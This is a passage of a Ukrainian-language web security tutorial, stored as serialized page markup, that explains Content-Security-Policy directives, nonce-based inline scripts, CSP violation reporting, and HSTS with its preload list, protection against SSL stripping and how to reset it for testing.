",[3793,8474,8475],{},"https:\u002F\u002Fcdn.jsdelivr.net",[3844,8477,8478],{},[3782,8479,8480],{},"Блокує:",[3746,8482,8483,8488,8494],{},[3749,8484,8485,8486,5124],{},"Inline-скрипти (",[3793,8487,8359],{},[3749,8489,8490,8493],{},[3793,8491,8492],{},"eval()"," та подібні динамічні виконання коду.",[3749,8495,8496],{},"Скрипти з інших доменів.",[3844,8498,8499],{},[3782,8500,8501],{},"Додаткові значення script-src:",[3746,8503,8504,8510,8522,8531],{},[3749,8505,8506,8509],{},[3793,8507,8508],{},"'unsafe-inline'"," — дозволяє inline-скрипти (небезпечно, не рекомендується).",[3749,8511,8512,8515,8516,3950,8518,8521],{},[3793,8513,8514],{},"'unsafe-eval'"," — дозволяє ",[3793,8517,8492],{},[3793,8519,8520],{},"new Function()"," (небезпечно).",[3749,8523,8524,8527,8528,5124],{},[3793,8525,8526],{},"'nonce-\u003Cbase64-значення>'"," — дозволяє inline-скрипти з конкретним nonce (безпечна альтернатива ",[3793,8529,8530],{},"unsafe-inline",[3749,8532,8533,8536],{},[3793,8534,8535],{},"'strict-dynamic'"," — дозволяє динамічне завантаження скриптів, завантажених довіреними скриптами.",[3844,8538,8539],{},[3782,8540,8541],{},"3. style-src — джерела CSS",[3844,8543,8544],{},"Контролює, звідки можна завантажувати стилі.",[4205,8546,8548],{"className":4794,"code":8547,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: style-src 'self' https:\u002F\u002Ffonts.googleapis.com\n",[3793,8549,8550],{"__ignoreMap":4210},[4214,8551,8552,8554,8556],{"class":4216,"line":4217},[4214,8553,8352],{"class":4224},[4214,8555,3917],{"class":4338},[4214,8557,8558],{"class":4316}," style-src 'self' https:\u002F\u002Ffonts.googleapis.com\n",[3844,8560,8561],{},[3782,8562,8563],{},"4. img-src — джерела зображень",[4205,8565,8567],{"className":4794,"code":8566,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: img-src 'self' data: https:\n",[3793,8568,8569],{"__ignoreMap":4210},[4214,8570,8571,8573,8575],{"class":4216,"line":4217},[4214,8572,8352],{"class":4224},[4214,8574,3917],{"class":4338},[4214,8576,8577],{"class":4316}," img-src 'self' data: https:\n",[3844,8579,8580],{},[3782,8581,8461],{},[3746,8583,8584,8587,8593],{},[3749,8585,8586],{},"Зображення з того самого origin.",[3749,8588,8589,8590,5124],{},"Data URLs (",[3793,8591,8592],{},"data:image\u002Fpng;base64,...",[3749,8594,8595,8596,5124],{},"Зображення з будь-яких HTTPS-доменів (",[3793,8597,8598],{},"https:",[3844,8600,8601],{},[3782,8602,8603],{},"5. font-src — джерела шрифтів",[4205,8605,8607],{"className":4794,"code":8606,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: font-src 'self' https:\u002F\u002Ffonts.gstatic.com\n",[3793,8608,8609],{"__ignoreMap":4210},[4214,8610,8611,8613,8615],{"class":4216,"line":4217},[4214,8612,8352],{"class":4224},[4214,8614,3917],{"class":4338},[4214,8616,8617],{"class":4316}," font-src 'self' https:\u002F\u002Ffonts.gstatic.com\n",[3844,8619,8620],{},[3782,8621,8622],{},"6. connect-src — джерела для AJAX, WebSocket, EventSource",[3844,8624,8625],{},"Контролює, до яких endpoint можна робити мережеві запити.",[4205,8627,8629],{"className":4794,"code":8628,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: connect-src 'self' https:\u002F\u002Fapi.example.com\n",[3793,8630,8631],{"__ignoreMap":4210},[4214,8632,8633,8635,8637],{"class":4216,"line":4217},[4214,8634,8352],{"class":4224},[4214,8636,3917],{"class":4338},[4214,8638,8639],{"class":4316}," connect-src 'self' https:\u002F\u002Fapi.example.com\n",[3844,8641,8642,8643,3930,8646,8649],{},"Блокує ",[3793,8644,8645],{},"fetch()",[3793,8647,8648],{},"XMLHttpRequest"," до інших доменів.",[3844,8651,8652],{},[3782,8653,8654],{},"7. frame-src — джерела для iframe",[4205,8656,8658],{"className":4794,"code":8657,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: frame-src 'none'\n",[3793,8659,8660],{"__ignoreMap":4210},[4214,8661,8662,8664,8666],{"class":4216,"line":4217},[4214,8663,8352],{"class":4224},[4214,8665,3917],{"class":4338},[4214,8667,8668],{"class":4316}," frame-src 'none'\n",[3844,8670,8671],{},"Блокує всі iframe (захист від Clickjacking).",[3844,8673,8674],{},[3782,8675,8676,8677,3950,8680,3950,8683],{},"8. object-src — джерела для ",[3793,8678,8679],{},"\u003Cobject>",[3793,8681,8682],{},"\u003Cembed>",[3793,8684,8685],{},"\u003Capplet>",[4205,8687,8689],{"className":4794,"code":8688,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: object-src 'none'\n",[3793,8690,8691],{"__ignoreMap":4210},[4214,8692,8693,8695,8697],{"class":4216,"line":4217},[4214,8694,8352],{"class":4224},[4214,8696,3917],{"class":4338},[4214,8698,8699],{"class":4316}," object-src 'none'\n",[3844,8701,8702,8703,8706],{},"Рекомендується завжди встановлювати у ",[3793,8704,8705],{},"'none'",", оскільки Flash та інші плагіни є джерелом вразливостей.",[3988,8708,8710],{"id":8709},"приклад-суворої-csp-політики-для-spa","Приклад суворої CSP-політики для SPA",[3844,8712,8713,8715],{},[3782,8714,5293],{}," Single Page Application на React з API на окремому субдомені.",[3844,8717,8718],{},[3782,8719,8720],{},"Сервер повертає:",[4205,8722,8724],{"className":4794,"code":8723,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nContent-Type: text\u002Fhtml; charset=utf-8\nContent-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https:\u002F\u002Fapi.example.com; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests\n\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Ctitle>Secure SPA\u003C\u002Ftitle>\n    \u003Clink rel=\"stylesheet\" href=\"\u002Fstyles\u002Fapp.css\">\n\u003C\u002Fhead>\n\u003Cbody>\n    \u003Cdiv id=\"root\">\u003C\u002Fdiv>\n    \u003Cscript src=\"\u002Fjs\u002Fapp.bundle.js\">\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[3793,8725,8726,8738,8747,8756,8760,8770,8778,8786,8804,8825,8833,8841,8861,8880,8888],{"__ignoreMap":4210},[4214,8727,8728,8730,8732,8734,8736],{"class":4216,"line":4217},[4214,8729,5319],{"class":4338},[4214,8731,5322],{"class":4262},[4214,8733,5390],{"class":5325},[4214,8735,5393],{"class":5325},[4214,8737,5396],{"class":4316},[4214,8739,8740,8742,8744],{"class":4216,"line":4235},[4214,8741,5227],{"class":4224},[4214,8743,3917],{"class":4338},[4214,8745,8746],{"class":4316}," text\u002Fhtml; charset=utf-8\n",[4214,8748,8749,8751,8753],{"class":4216,"line":4245},[4214,8750,8352],{"class":4224},[4214,8752,3917],{"class":4338},[4214,8754,8755],{"class":4316}," default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https:\u002F\u002Fapi.example.com; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests\n",[4214,8757,8758],{"class":4216,"line":4278},[4214,8759,5429],{"emptyLinePlaceholder":5428},[4214,8761,8762,8764,8766,8768],{"class":4216,"line":4288},[4214,8763,4221],{"class":4220},[4214,8765,4225],{"class":4338},[4214,8767,4229],{"class":4338},[4214,8769,4232],{"class":4220},[4214,8771,8772,8774,8776],{"class":4216,"line":4298},[4214,8773,4238],{"class":4220},[4214,8775,4209],{"class":4224},[4214,8777,4232],{"class":4220},[4214,8779,8780,8782,8784],{"class":4216,"line":4305},[4214,8781,4238],{"class":4220},[4214,8783,4250],{"class":4224},[4214,8785,4232],{"class":4220},[4214,8787,8788,8791,8793,8795,8798,8800,8802],{"class":4216,"line":4323},[4214,8789,8790],{"class":4220},"    \u003C",[4214,8792,4256],{"class":4224},[4214,8794,4259],{"class":4220},[4214,8796,8797],{"class":4262},"Secure SPA",[4214,8799,4266],{"class":4220},[4214,8801,4256],{"class":4224},[4214,8803,4232],{"class":4220},[4214,8805,8806,8808,8810,8812,8814,8816,8818,8820,8823],{"class":4216,"line":4353},[4214,8807,8790],{"class":4220},[4214,8809,4945],{"class":4224},[4214,8811,4948],{"class":4228},[4214,8813,4558],{"class":4262},[4214,8815,4953],{"class":4561},[4214,8817,4956],{"class":4228},[4214,8819,4558],{"class":4262},[4214,8821,8822],{"class":4561},"\"\u002Fstyles\u002Fapp.css\"",[4214,8824,4232],{"class":4220},[4214,8826,8827,8829,8831],{"class":4216,"line":4382},[4214,8828,4266],{"class":4220},[4214,8830,4250],{"class":4224},[4214,8832,4232],{"class":4220},[4214,8834,8835,8837,8839],{"class":4216,"line":4415},[4214,8836,4238],{"class":4220},[4214,8838,4283],{"class":4224},[4214,8840,4232],{"class":4220},[4214,8842,8843,8845,8848,8850,8852,8855,8857,8859],{"class":4216,"line":4424},[4214,8844,8790],{"class":4220},[4214,8846,8847],{"class":4224},"div",[4214,8849,4555],{"class":4228},[4214,8851,4558],{"class":4262},[4214,8853,8854],{"class":4561},"\"root\"",[4214,8856,4271],{"class":4220},[4214,8858,8847],{"class":4224},[4214,8860,4232],{"class":4220},[4214,8862,8863,8865,8867,8869,8871,8874,8876,8878],{"class":4216,"line":4433},[4214,8864,8790],{"class":4220},[4214,8866,4293],{"class":4224},[4214,8868,4565],{"class":4228},[4214,8870,4558],{"class":4262},[4214,8872,8873],{"class":4561},"\"\u002Fjs\u002Fapp.bundle.js\"",[4214,8875,4271],{"class":4220},[4214,8877,4293],{"class":4224},[4214,8879,4232],{"class":4220},[4214,8881,8882,8884,8886],{"class":4216,"line":4720},[4214,8883,4266],{"class":4220},[4214,8885,4283],{"class":4224},[4214,8887,4232],{"class":4220},[4214,8889,8890,8892,8894],{"class":4216,"line":4726},[4214,8891,4266],{"class":4220},[4214,8893,4209],{"class":4224},[4214,8895,4232],{"class":4220},[3844,8897,8898],{},[3782,8899,8900],{},"Пояснення політики:",[3746,8902,8903,8909,8915,8921,8927,8933,8943,8949,8955],{},[3749,8904,8905,8908],{},[3793,8906,8907],{},"default-src 'none'"," — за замовчуванням блокувати все.",[3749,8910,8911,8914],{},[3793,8912,8913],{},"script-src 'self'"," — дозволити скрипти лише з того самого origin (блокує inline та зовнішні CDN).",[3749,8916,8917,8920],{},[3793,8918,8919],{},"style-src 'self' 'unsafe-inline'"," — стилі з того самого origin + inline-стилі (необхідно для styled-components, emotion).",[3749,8922,8923,8926],{},[3793,8924,8925],{},"img-src 'self' data: https:"," — зображення з власного сервера, data URLs та будь-які HTTPS-джерела.",[3749,8928,8929,8932],{},[3793,8930,8931],{},"connect-src 'self' https:\u002F\u002Fapi.example.com"," — AJAX лише до власного origin та API.",[3749,8934,8935,8938,8939,8942],{},[3793,8936,8937],{},"base-uri 'self'"," — запобігає зміні ",[3793,8940,8941],{},"\u003Cbase href>"," зловмисником.",[3749,8944,8945,8948],{},[3793,8946,8947],{},"form-action 'self'"," — форми можуть відправлятися лише на власний origin.",[3749,8950,8951,8954],{},[3793,8952,8953],{},"frame-ancestors 'none'"," — заборона вбудовування у iframe (захист від Clickjacking, аналог X-Frame-Options: DENY).",[3749,8956,8957,8960],{},[3793,8958,8959],{},"upgrade-insecure-requests"," — автоматично апгрейдити HTTP до HTTPS.",[3988,8962,8964],{"id":8963},"використання-nonce-для-inline-скриптів","Використання nonce для inline-скриптів",[3844,8966,8967,8968,8970,8971,8974],{},"Якщо необхідно дозволити конкретні inline-скрипти без повного відключення захисту через ",[3793,8969,8508],{},", можна використовувати ",[3782,8972,8973],{},"nonce"," (number used once) — унікальне випадкове значення, яке генерується для кожного запиту.",[3844,8976,8977],{},[3782,8978,8979],{},"Сервер генерує nonce та додає до CSP:",[4205,8981,8983],{"className":4794,"code":8982,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: script-src 'self' 'nonce-rAnD0mV4luE123='\n",[3793,8984,8985],{"__ignoreMap":4210},[4214,8986,8987,8989,8991],{"class":4216,"line":4217},[4214,8988,8352],{"class":4224},[4214,8990,3917],{"class":4338},[4214,8992,8993],{"class":4316}," script-src 'self' 'nonce-rAnD0mV4luE123='\n",[3844,8995,8996],{},[3782,8997,8998],{},"HTML містить inline-скрипт з тим самим nonce:",[4205,9000,9002],{"className":4207,"code":9001,"language":4209,"meta":4210,"style":4210},"\u003Cscript nonce=\"rAnD0mV4luE123=\">\n    console.log('This inline script is allowed by CSP');\n\u003C\u002Fscript>\n",[3793,9003,9004,9020,9035],{"__ignoreMap":4210},[4214,9005,9006,9008,9010,9013,9015,9018],{"class":4216,"line":4217},[4214,9007,4238],{"class":4220},[4214,9009,4293],{"class":4224},[4214,9011,9012],{"class":4228}," nonce",[4214,9014,4558],{"class":4312},[4214,9016,9017],{"class":4561},"\"rAnD0mV4luE123=\"",[4214,9019,4232],{"class":4220},[4214,9021,9022,9024,9026,9028,9030,9033],{"class":4216,"line":4235},[4214,9023,5573],{"class":4334},[4214,9025,3796],{"class":4312},[4214,9027,4372],{"class":4308},[4214,9029,4313],{"class":4312},[4214,9031,9032],{"class":4316},"'This inline script is allowed by CSP'",[4214,9034,4617],{"class":4312},[4214,9036,9037,9039,9041],{"class":4216,"line":4245},[4214,9038,4266],{"class":4220},[4214,9040,4293],{"class":4224},[4214,9042,4232],{"class":4220},[3844,9044,9045,9046,9048],{},"Браузер виконає лише скрипти з nonce, що співпадає з CSP. Зловмисник, який впровадить ",[3793,9047,8359],{}," без правильного nonce, буде заблокований.",[4850,9050,9051,9063],{},[3844,9052,9053,9056,9058,9059,9062],{},[3782,9054,9055],{},"Генерація nonce на сервері (концептуальний приклад):",[3999,9057],{},"\nNonce повинен бути ",[3782,9060,9061],{},"криптографічно випадковим"," та унікальним для кожного запиту:",[4205,9064,9066],{"className":7544,"code":9065,"language":7546,"meta":4210,"style":4210},"import \"crypto\u002Frand\"\nimport \"encoding\u002Fbase64\"\n\nfunc generateNonce() string {\n    b := make([]byte, 16)\n    rand.Read(b)\n    return base64.StdEncoding.EncodeToString(b)\n}\n",[3793,9067,9068,9076,9083,9087,9101,9124,9141,9164],{"__ignoreMap":4210},[4214,9069,9070,9073],{"class":4216,"line":4217},[4214,9071,9072],{"class":4622},"import",[4214,9074,9075],{"class":4316}," \"crypto\u002Frand\"\n",[4214,9077,9078,9080],{"class":4216,"line":4235},[4214,9079,9072],{"class":4622},[4214,9081,9082],{"class":4316}," \"encoding\u002Fbase64\"\n",[4214,9084,9085],{"class":4216,"line":4245},[4214,9086,5429],{"emptyLinePlaceholder":5428},[4214,9088,9089,9091,9094,9097,9099],{"class":4216,"line":4278},[4214,9090,7558],{"class":4338},[4214,9092,9093],{"class":4308}," generateNonce",[4214,9095,9096],{"class":4262},"() ",[4214,9098,7573],{"class":7572},[4214,9100,4626],{"class":4262},[4214,9102,9103,9106,9108,9111,9114,9117,9119,9122],{"class":4216,"line":4288},[4214,9104,9105],{"class":4334},"    b",[4214,9107,7618],{"class":4262},[4214,9109,9110],{"class":4308},"make",[4214,9112,9113],{"class":4262},"([]",[4214,9115,9116],{"class":7572},"byte",[4214,9118,3950],{"class":4262},[4214,9120,9121],{"class":5325},"16",[4214,9123,4320],{"class":4262},[4214,9125,9126,9129,9131,9134,9136,9139],{"class":4216,"line":4298},[4214,9127,9128],{"class":4334},"    rand",[4214,9130,3796],{"class":4262},[4214,9132,9133],{"class":4308},"Read",[4214,9135,4313],{"class":4262},[4214,9137,9138],{"class":4334},"b",[4214,9140,4320],{"class":4262},[4214,9142,9143,9145,9148,9150,9153,9155,9158,9160,9162],{"class":4216,"line":4305},[4214,9144,6457],{"class":4622},[4214,9146,9147],{"class":4334}," base64",[4214,9149,3796],{"class":4262},[4214,9151,9152],{"class":4334},"StdEncoding",[4214,9154,3796],{"class":4262},[4214,9156,9157],{"class":4308},"EncodeToString",[4214,9159,4313],{"class":4262},[4214,9161,9138],{"class":4334},[4214,9163,4320],{"class":4262},[4214,9165,9166],{"class":4216,"line":4323},[4214,9167,4729],{"class":4262},[3988,9169,9171],{"id":9170},"csp-reporting","CSP Reporting",[3844,9173,9174,9175,9178],{},"CSP підтримує режим звітування, який дозволяє ",[3782,9176,9177],{},"моніторити порушення політики"," без блокування ресурсів. Це корисно для поступового впровадження CSP у існуючі застосунки.",[3844,9180,9181],{},[3782,9182,9183],{},"Content-Security-Policy-Report-Only:",[4205,9185,9187],{"className":4794,"code":9186,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy-Report-Only: default-src 'self'; report-uri https:\u002F\u002Fexample.com\u002Fcsp-reports\n",[3793,9188,9189],{"__ignoreMap":4210},[4214,9190,9191,9194,9196],{"class":4216,"line":4217},[4214,9192,9193],{"class":4224},"Content-Security-Policy-Report-Only",[4214,9195,3917],{"class":4338},[4214,9197,9198],{"class":4316}," default-src 'self'; report-uri https:\u002F\u002Fexample.com\u002Fcsp-reports\n",[3844,9200,4455,9201,9204,9205,9208],{},[3782,9202,9203],{},"не блокуватиме"," ресурси, але надсилатиме звіт про порушення на ",[3793,9206,9207],{},"report-uri",". Звіт містить інформацію про заблокований ресурс, директиву CSP та URL сторінки.",[3844,9210,9211],{},[3782,9212,9213],{},"Приклад звіту (JSON):",[4205,9215,9218],{"className":9216,"code":9217,"language":4347,"meta":4210,"style":4210},"language-json shiki shiki-themes light-plus dark-plus dark-plus","{\n  \"csp-report\": {\n    \"document-uri\": \"https:\u002F\u002Fexample.com\u002Fpage\",\n    \"violated-directive\": \"script-src 'self'\",\n    \"blocked-uri\": \"https:\u002F\u002Fmalicious.com\u002Fevil.js\",\n    \"source-file\": \"https:\u002F\u002Fexample.com\u002Fpage\",\n    \"line-number\": 42,\n    \"column-number\": 15\n  }\n}\n",[3793,9219,9220,9224,9232,9244,9256,9268,9279,9290,9300,9305],{"__ignoreMap":4210},[4214,9221,9222],{"class":4216,"line":4217},[4214,9223,7908],{"class":4262},[4214,9225,9226,9229],{"class":4216,"line":4235},[4214,9227,9228],{"class":5437},"  \"csp-report\"",[4214,9230,9231],{"class":4262},": {\n",[4214,9233,9234,9237,9239,9242],{"class":4216,"line":4245},[4214,9235,9236],{"class":5437},"    \"document-uri\"",[4214,9238,5736],{"class":4262},[4214,9240,9241],{"class":4316},"\"https:\u002F\u002Fexample.com\u002Fpage\"",[4214,9243,5873],{"class":4262},[4214,9245,9246,9249,9251,9254],{"class":4216,"line":4278},[4214,9247,9248],{"class":5437},"    \"violated-directive\"",[4214,9250,5736],{"class":4262},[4214,9252,9253],{"class":4316},"\"script-src 'self'\"",[4214,9255,5873],{"class":4262},[4214,9257,9258,9261,9263,9266],{"class":4216,"line":4288},[4214,9259,9260],{"class":5437},"    \"blocked-uri\"",[4214,9262,5736],{"class":4262},[4214,9264,9265],{"class":4316},"\"https:\u002F\u002Fmalicious.com\u002Fevil.js\"",[4214,9267,5873],{"class":4262},[4214,9269,9270,9273,9275,9277],{"class":4216,"line":4298},[4214,9271,9272],{"class":5437},"    \"source-file\"",[4214,9274,5736],{"class":4262},[4214,9276,9241],{"class":4316},[4214,9278,5873],{"class":4262},[4214,9280,9281,9284,9286,9288],{"class":4216,"line":4305},[4214,9282,9283],{"class":5437},"    \"line-number\"",[4214,9285,5736],{"class":4262},[4214,9287,6919],{"class":5325},[4214,9289,5873],{"class":4262},[4214,9291,9292,9295,9297],{"class":4216,"line":4323},[4214,9293,9294],{"class":5437},"    \"column-number\"",[4214,9296,5736],{"class":4262},[4214,9298,9299],{"class":5325},"15\n",[4214,9301,9302],{"class":4216,"line":4353},[4214,9303,9304],{"class":4262},"  }\n",[4214,9306,9307],{"class":4216,"line":4382},[4214,9308,4729],{"class":4262},[4475,9310,9311,9326],{},[3844,9312,9313,9316,9318,9319,9321,9322,9325],{},[3782,9314,9315],{},"Сучасна альтернатива report-uri:",[3999,9317],{},"\nДиректива ",[3793,9320,9207],{}," застаріла. Сучасні браузери підтримують ",[3793,9323,9324],{},"report-to",", яка використовує Reporting API:",[4205,9327,9329],{"className":4794,"code":9328,"language":4796,"meta":4210,"style":4210},"Content-Security-Policy: default-src 'self'; report-to csp-endpoint\nReport-To: {\"group\":\"csp-endpoint\",\"max_age\":10886400,\"endpoints\":[{\"url\":\"https:\u002F\u002Fexample.com\u002Fcsp-reports\"}]}\n",[3793,9330,9331,9340],{"__ignoreMap":4210},[4214,9332,9333,9335,9337],{"class":4216,"line":4217},[4214,9334,8352],{"class":4224},[4214,9336,3917],{"class":4338},[4214,9338,9339],{"class":4316}," default-src 'self'; report-to csp-endpoint\n",[4214,9341,9342,9345,9347],{"class":4216,"line":4235},[4214,9343,9344],{"class":4224},"Report-To",[4214,9346,3917],{"class":4338},[4214,9348,9349],{"class":4316}," {\"group\":\"csp-endpoint\",\"max_age\":10886400,\"endpoints\":[{\"url\":\"https:\u002F\u002Fexample.com\u002Fcsp-reports\"}]}\n",[3839,9351,9353],{"id":9352},"http-strict-transport-security-hsts","HTTP Strict Transport Security (HSTS)",[3844,9355,9356,9358,9359,9362,9363,9366,9367,4148,9370,9373],{},[3782,9357,9353],{}," є механізмом, який ",[3782,9360,9361],{},"примусово встановлює HTTPS"," для всіх майбутніх запитів до домену, навіть якщо користувач вводить URL з ",[3793,9364,9365],{},"http:\u002F\u002F"," або переходить за HTTP-посиланням. Це захищає від атак типу ",[3782,9368,9369],{},"SSL Stripping",[3782,9371,9372],{},"Protocol Downgrade",", де зловмисник (наприклад, у публічному Wi-Fi) перехоплює початковий HTTP-запит та не дозволяє відбутися перенаправленню на HTTPS.",[3988,9375,9377],{"id":9376},"механізм-роботи-hsts","Механізм роботи HSTS",[3844,9379,9380,9383,9384,5124],{},[3782,9381,9382],{},"Крок 1:"," Користувач вперше відвідує сайт через HTTPS (наприклад, ",[3793,9385,4151],{},[3844,9387,9388,9391],{},[3782,9389,9390],{},"Крок 2:"," Сервер повертає заголовок HSTS:",[4205,9393,9395],{"className":4794,"code":9394,"language":4796,"meta":4210,"style":4210},"HTTP\u002F1.1 200 OK\nStrict-Transport-Security: max-age=31536000; includeSubDomains; preload\nContent-Type: text\u002Fhtml\n",[3793,9396,9397,9409,9419],{"__ignoreMap":4210},[4214,9398,9399,9401,9403,9405,9407],{"class":4216,"line":4217},[4214,9400,5319],{"class":4338},[4214,9402,5322],{"class":4262},[4214,9404,5390],{"class":5325},[4214,9406,5393],{"class":5325},[4214,9408,5396],{"class":4316},[4214,9410,9411,9414,9416],{"class":4216,"line":4235},[4214,9412,9413],{"class":4224},"Strict-Transport-Security",[4214,9415,3917],{"class":4338},[4214,9417,9418],{"class":4316}," max-age=31536000; includeSubDomains; preload\n",[4214,9420,9421,9423,9425],{"class":4216,"line":4245},[4214,9422,5227],{"class":4224},[4214,9424,3917],{"class":4338},[4214,9426,9427],{"class":4316}," text\u002Fhtml\n",[3844,9429,9430,9433],{},[3782,9431,9432],{},"Крок 3:"," Браузер зберігає політику HSTS для цього домену на 31536000 секунд (1 рік).",[3844,9435,9436,9439,9440,9442],{},[3782,9437,9438],{},"Крок 4:"," Користувач вводить ",[3793,9441,4147],{}," в адресний рядок або переходить за HTTP-посиланням.",[3844,9444,9445,9448,9449,9452,9453,9456,9457,3796],{},[3782,9446,9447],{},"Крок 5:"," Браузер ",[3782,9450,9451],{},"автоматично перетворює"," запит на HTTPS ",[3782,9454,9455],{},"до надсилання запиту на сервер",". Жодного HTTP-запиту не відбувається — це ",[3782,9458,9459],{},"client-side redirect",[3844,9461,9462,9465,9466,9468],{},[3782,9463,9464],{},"Крок 6:"," Браузер завантажує сторінку через ",[3793,9467,4151],{},", захищаючись від SSL Stripping.",[3988,9470,9472],{"id":9471},"директиви-hsts","Директиви HSTS",[3844,9474,9475,9478],{},[3782,9476,9477],{},"max-age=\u003Cсекунди>"," — тривалість, протягом якої браузер повинен примусово використовувати HTTPS.",[4205,9480,9482],{"className":4794,"code":9481,"language":4796,"meta":4210,"style":4210},"Strict-Transport-Security: max-age=63072000\n",[3793,9483,9484],{"__ignoreMap":4210},[4214,9485,9486,9488,9490],{"class":4216,"line":4217},[4214,9487,9413],{"class":4224},[4214,9489,3917],{"class":4338},[4214,9491,9492],{"class":4316}," max-age=63072000\n",[3844,9494,9495],{},"2 роки (63072000 секунд). Після закінчення терміну браузер забуває політику HSTS та знову дозволяє HTTP.",[3844,9497,9498,9501],{},[3782,9499,9500],{},"includeSubDomains"," — застосувати HSTS до всіх субдоменів.",[4205,9503,9505],{"className":4794,"code":9504,"language":4796,"meta":4210,"style":4210},"Strict-Transport-Security: max-age=31536000; includeSubDomains\n",[3793,9506,9507],{"__ignoreMap":4210},[4214,9508,9509,9511,9513],{"class":4216,"line":4217},[4214,9510,9413],{"class":4224},[4214,9512,3917],{"class":4338},[4214,9514,9515],{"class":4316}," max-age=31536000; includeSubDomains\n",[3844,9517,9518,9519,9521,9522,3950,9524,3950,9526,9529],{},"Якщо встановлено для ",[3793,9520,3949],{},", також застосовується до ",[3793,9523,3953],{},[3793,9525,4161],{},[3793,9527,9528],{},"blog.example.com"," тощо.",[4137,9531,9532,9535,9537,9538,9541,9542,9544,9545,9548],{},[3782,9533,9534],{},"Обережно з includeSubDomains:",[3999,9536],{},"\nЯкщо у вас є субдомени, які ",[3782,9539,9540],{},"не підтримують HTTPS",", додавання ",[3793,9543,9500],{}," зробить їх ",[3782,9546,9547],{},"недоступними",". Переконайтеся, що всі субдомени налаштовані з SSL-сертифікатами перед використанням цієї директиви.",[3844,9550,9551,9554],{},[3782,9552,9553],{},"preload"," — підготовка до включення у HSTS Preload List.",[4205,9556,9558],{"className":4794,"code":9557,"language":4796,"meta":4210,"style":4210},"Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\n",[3793,9559,9560],{"__ignoreMap":4210},[4214,9561,9562,9564,9566],{"class":4216,"line":4217},[4214,9563,9413],{"class":4224},[4214,9565,3917],{"class":4338},[4214,9567,9418],{"class":4316},[3844,9569,9570,9573,9574,9577],{},[3782,9571,9572],{},"HSTS Preload List"," — список доменів, вбудований у браузери (Chrome, Firefox, Safari, Edge), для яких HTTPS є обов'язковим ",[3782,9575,9576],{},"навіть при першому відвідуванні",". Це вирішує проблему \"першого запиту\" (trust-on-first-use), коли користувач ще не отримав HSTS-заголовок.",[3844,9579,9580,9583,9585,9586,9593],{},[3782,9581,9582],{},"Додавання до Preload List:",[3999,9584],{},"\nВідвідайте ",[9587,9588,9592],"a",{"href":9589,"rel":9590},"https:\u002F\u002Fhstspreload.org\u002F",[9591],"nofollow","hstspreload.org",", перевірте відповідність вимогам та відправте домен на включення.",[3844,9595,9596],{},[3782,9597,9598],{},"Вимоги для preload:",[3746,9600,9601,9604,9607,9612,9618],{},[3749,9602,9603],{},"Дійсний HTTPS-сертифікат.",[3749,9605,9606],{},"Перенаправлення всього HTTP-трафіку на HTTPS.",[3749,9608,9609,9610,5124],{},"Всі субдомени повинні підтримувати HTTPS (",[3793,9611,9500],{},[3749,9613,9614,9617],{},[3793,9615,9616],{},"max-age"," мінімум 1 рік (31536000 секунд).",[3749,9619,9620,9621,3796],{},"Заголовок HSTS на базовому домені з ",[3793,9622,9553],{},[3988,9624,9626],{"id":9625},"приклад-атаки-ssl-stripping-та-захист-hsts","Приклад атаки SSL Stripping та захист HSTS",[3844,9628,9629,9631,9632,9634,9635,5124],{},[3782,9630,5293],{}," Користувач у публічному Wi-Fi кафе вводить ",[3793,9633,3949],{}," (без ",[3793,9636,9637],{},"https:\u002F\u002F",[3844,9639,9640],{},[3782,9641,9642],{},"Без HSTS:",[3919,9644,9645,9650,9653,9656],{},[3749,9646,9647,9648,3796],{},"Браузер надсилає ",[3793,9649,4147],{},[3749,9651,9652],{},"Зловмисник (MitM у Wi-Fi) перехоплює запит.",[3749,9654,9655],{},"Зловмисник підміняє відповідь, не дозволяючи перенаправленню на HTTPS.",[3749,9657,9658],{},"Користувач залишається на HTTP, весь трафік читає зловмисник.",[3844,9660,9661],{},[3782,9662,9663],{},"З HSTS (після першого HTTPS-відвідування):",[3919,9665,9666,9671,9680,9683],{},[3749,9667,9668,9669,3796],{},"Користувач вводить ",[3793,9670,4147],{},[3749,9672,4455,9673,9676,9677,9679],{},[3782,9674,9675],{},"до надсилання запиту"," перетворює на ",[3793,9678,4151],{}," (згідно збереженої політики HSTS).",[3749,9681,9682],{},"З'єднання встановлюється через TLS.",[3749,9684,9685],{},"Зловмисник не може втрутитися, оскільки жодного HTTP-запиту не було.",[3988,9687,9689],{"id":9688},"відключення-hsts-для-тестування","Відключення HSTS (для тестування)",[3844,9691,9692],{},"Якщо під час розробки потрібно тимчасово відключити HSTS:",[3844,9694,9695],{},[3782,9696,9697],{},"У браузері:",[3746,9699,9700,9709],{},[3749,9701,9702,4092,9705,9708],{},[3782,9703,9704],{},"Chrome:",[3793,9706,9707],{},"chrome:\u002F\u002Fnet-internals\u002F#hsts"," → Delete domain security policies.",[3749,9710,9711,4092,9714,9717],{},[3782,9712,9713],{},"Firefox:",[3793,9715,9716],{},"about:preferences#privacy"," → Certificates → View Certificates → Servers → Видалити домен.",[3844,9719,9720,9723,9724,3917],{},[3782,9721,9722],{},"На сервері:"," встановити ",[3793,9725,9726],{},"max-age=0",[4205,9728,9730],{"className":4794,"code":9729,"language":4796,"meta":4210,"style":4210},"Strict-Transport-Security: max-age=0\n",[3793,9731,9732],{"__ignoreMap":4210},[4214,9733,9734,9736,9738],{"class":4216,"line":4217},[4214,9735,9413],{"class":4224},[4214,9737,3917],{"class":4338},[4214,9739,9740],{"class":4316}," max-age=0\n",[3844,9742,9743],{},"Браузер негайно забуде політику HSTS для цього 